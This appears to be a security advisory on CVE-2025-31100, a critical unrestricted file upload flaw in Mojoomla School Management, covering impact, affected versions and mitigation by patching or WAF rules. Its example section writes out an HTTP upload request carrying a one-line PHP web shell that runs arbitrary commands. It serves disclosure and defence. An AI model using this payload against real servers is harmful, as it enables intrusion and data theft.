Overview
The CVE-2025-31100 vulnerability is a critical issue discovered in the School Management software developed by Mojoomla. It is a flaw that allows an attacker to upload files of a dangerous type, typically a web shell, to a web server unrestrictedly. This kind of vulnerability poses a severe risk to all entities using the software, from schools to other educational institutions, as it can lead to system compromise or data leakage. It’s imperative to understand and mitigate this vulnerability promptly due to its high-risk rating and potential for significant damage.
Vulnerability Summary
CVE ID: CVE-2025-31100
Severity: Critical (9.9 CVSS Score)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
Mojoomla School Management | n/a through 1.93.1
How the Exploit Works
The vulnerability primarily resides in the file upload feature of the Mojoomla School Management software. It fails to properly validate and sanitize the types of files being uploaded to the server. This lack of restriction allows attackers to upload a malicious web shell file to the server. Once uploaded, this web shell can execute arbitrary commands, providing the attacker with unauthorized access to the server and the ability to compromise the system or leak sensitive data.
Conceptual Example Code
Below is an illustrative example of how this vulnerability might be exploited. This is a conceptual HTTP request to upload a malicious web shell.
POST /file_upload HTTP/1.1
Host: target.school.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="malicious_shell.php"
Content-Type: application/x-php
<?php system($_REQUEST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker uploads a PHP web shell that executes any command passed through the ‘cmd’ HTTP request parameter.
Mitigation
The most effective way to mitigate this vulnerability is by applying the vendor’s patch. If it’s not immediately possible to apply the patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on attempts to upload potentially dangerous file types.
Remember, regular updates and patches are crucial to prevent potential cyber threats. Always adhere to the principle of least privilege, and avoid giving unnecessary permissions to users or services that do not require them.
